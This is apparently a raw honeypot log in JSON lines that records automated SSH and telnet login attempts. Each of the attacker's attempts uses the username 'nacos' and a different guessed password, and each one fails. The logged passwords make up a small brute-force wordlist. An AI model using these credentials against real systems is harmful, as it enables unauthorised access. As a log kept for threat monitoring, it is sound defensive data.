{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:02.230132Z","src_ip":"36.253.9.69","session":"97fd9e7e85e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"#cbx2!3kk","message":"login attempt [nacos/#cbx2!3kk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:03.241034Z","src_ip":"36.253.9.69","session":"97fd9e7e85e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:04.480252Z","src_ip":"36.253.9.69","session":"97fd9e7e85e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":47364,"dst_ip":"10.17.0.5","dst_port":22,"session":"d601ac547bf3","protocol":"ssh","message":"New connection: 36.253.9.69:47364 (10.17.0.5:22) [session: d601ac547bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:04.739459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:04.744094Z","src_ip":"36.253.9.69","session":"d601ac547bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:04.990925Z","src_ip":"36.253.9.69","session":"d601ac547bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"India@123","message":"login attempt [nacos/India@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:06.049816Z","src_ip":"36.253.9.69","session":"d601ac547bf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54666,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b9bfe2b964f","protocol":"telnet","message":"New connection: 192.211.53.160:54666 (159.203.135.109:23) [session: 6b9bfe2b964f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:06.189690Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:07.300915Z","src_ip":"36.253.9.69","session":"d601ac547bf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58486,"dst_ip":"10.17.0.5","dst_port":22,"session":"44ad2c148643","protocol":"ssh","message":"New connection: 36.253.9.69:58486 (10.17.0.5:22) [session: 44ad2c148643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:07.535773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:07.542055Z","src_ip":"36.253.9.69","session":"44ad2c148643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54496,"dst_ip":"159.203.135.109","dst_port":23,"session":"49048a6763ac","protocol":"telnet","message":"New connection: 38.60.198.128:54496 (159.203.135.109:23) [session: 49048a6763ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:07.547421Z"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:07.786406Z","src_ip":"36.253.9.69","session":"44ad2c148643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"jyb-2025","message":"login attempt [nacos/jyb-2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:08.831666Z","src_ip":"36.253.9.69","session":"44ad2c148643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:10.079230Z","src_ip":"36.253.9.69","session":"44ad2c148643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58502,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f44bd674db","protocol":"ssh","message":"New connection: 36.253.9.69:58502 (10.17.0.5:22) [session: 81f44bd674db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:10.305602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:10.311137Z","src_ip":"36.253.9.69","session":"81f44bd674db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:10.547161Z","src_ip":"36.253.9.69","session":"81f44bd674db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"googosoft","message":"login attempt [nacos/googosoft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:11.563065Z","src_ip":"36.253.9.69","session":"81f44bd674db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.70306944847107,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:11.845232Z","src_ip":"38.60.198.128","session":"e7edebe6acea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:12.803385Z","src_ip":"36.253.9.69","session":"81f44bd674db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60840,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc77d7b29ab","protocol":"telnet","message":"New connection: 38.60.198.128:60840 (159.203.135.109:23) [session: 1dc77d7b29ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:12.858095Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58510,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee162b36d75","protocol":"ssh","message":"New connection: 36.253.9.69:58510 (10.17.0.5:22) [session: bee162b36d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:13.037442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:13.044803Z","src_ip":"36.253.9.69","session":"bee162b36d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:13.279336Z","src_ip":"36.253.9.69","session":"bee162b36d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Ouqin@123","message":"login attempt [nacos/Ouqin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:14.286391Z","src_ip":"36.253.9.69","session":"bee162b36d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:15.523992Z","src_ip":"36.253.9.69","session":"bee162b36d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58524,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c08e6fb5734","protocol":"ssh","message":"New connection: 36.253.9.69:58524 (10.17.0.5:22) [session: 7c08e6fb5734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:15.758271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:15.764328Z","src_ip":"36.253.9.69","session":"7c08e6fb5734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.00298738479614,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:15.806393Z","src_ip":"38.60.198.128","session":"793b689c474c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33454,"dst_ip":"159.203.135.109","dst_port":23,"session":"c242fda77ca8","protocol":"telnet","message":"New connection: 38.60.198.128:33454 (159.203.135.109:23) [session: c242fda77ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:15.811963Z"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:16.013134Z","src_ip":"36.253.9.69","session":"7c08e6fb5734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1qaz@WSX3edc","message":"login attempt [nacos/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:17.058603Z","src_ip":"36.253.9.69","session":"7c08e6fb5734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36600,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed4bf19d72f6","protocol":"telnet","message":"New connection: 38.60.198.128:36600 (159.203.135.109:23) [session: ed4bf19d72f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:17.447498Z"}
{"eventid":"cowrie.session.closed","duration":47.61108589172363,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:18.213596Z","src_ip":"38.60.198.128","session":"3511553a1b32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:18.318170Z","src_ip":"36.253.9.69","session":"7c08e6fb5734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.3257360458374,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:18.361763Z","src_ip":"38.60.198.128","session":"f9968f536f78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38168,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cfdd91511c8","protocol":"ssh","message":"New connection: 36.253.9.69:38168 (10.17.0.5:22) [session: 4cfdd91511c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:18.571597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:18.577721Z","src_ip":"36.253.9.69","session":"4cfdd91511c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:18.821413Z","src_ip":"36.253.9.69","session":"4cfdd91511c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.249180793762207,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:19.696532Z","src_ip":"38.60.198.128","session":"ed4bf19d72f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Huawei12#$","message":"login attempt [nacos/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:19.875289Z","src_ip":"36.253.9.69","session":"4cfdd91511c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.422876834869385,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:20.732762Z","src_ip":"38.60.198.128","session":"c712fa5a0f3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.182225942611694,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:20.901683Z","src_ip":"38.60.198.128","session":"1d573e7fd4e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:21.123176Z","src_ip":"36.253.9.69","session":"4cfdd91511c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.72701573371887,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:21.127502Z","src_ip":"38.60.198.128","session":"2d200e9f173c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":38184,"dst_ip":"10.17.0.5","dst_port":22,"session":"be502ad6afac","protocol":"ssh","message":"New connection: 36.253.9.69:38184 (10.17.0.5:22) [session: be502ad6afac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:21.328116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:21.332139Z","src_ip":"36.253.9.69","session":"be502ad6afac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.108344078063965,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:21.487443Z","src_ip":"38.60.198.128","session":"33ed99c0544e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:21.564193Z","src_ip":"36.253.9.69","session":"be502ad6afac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40850,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef7623c17b45","protocol":"telnet","message":"New connection: 38.60.198.128:40850 (159.203.135.109:23) [session: ef7623c17b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:50:22.068533Z"}
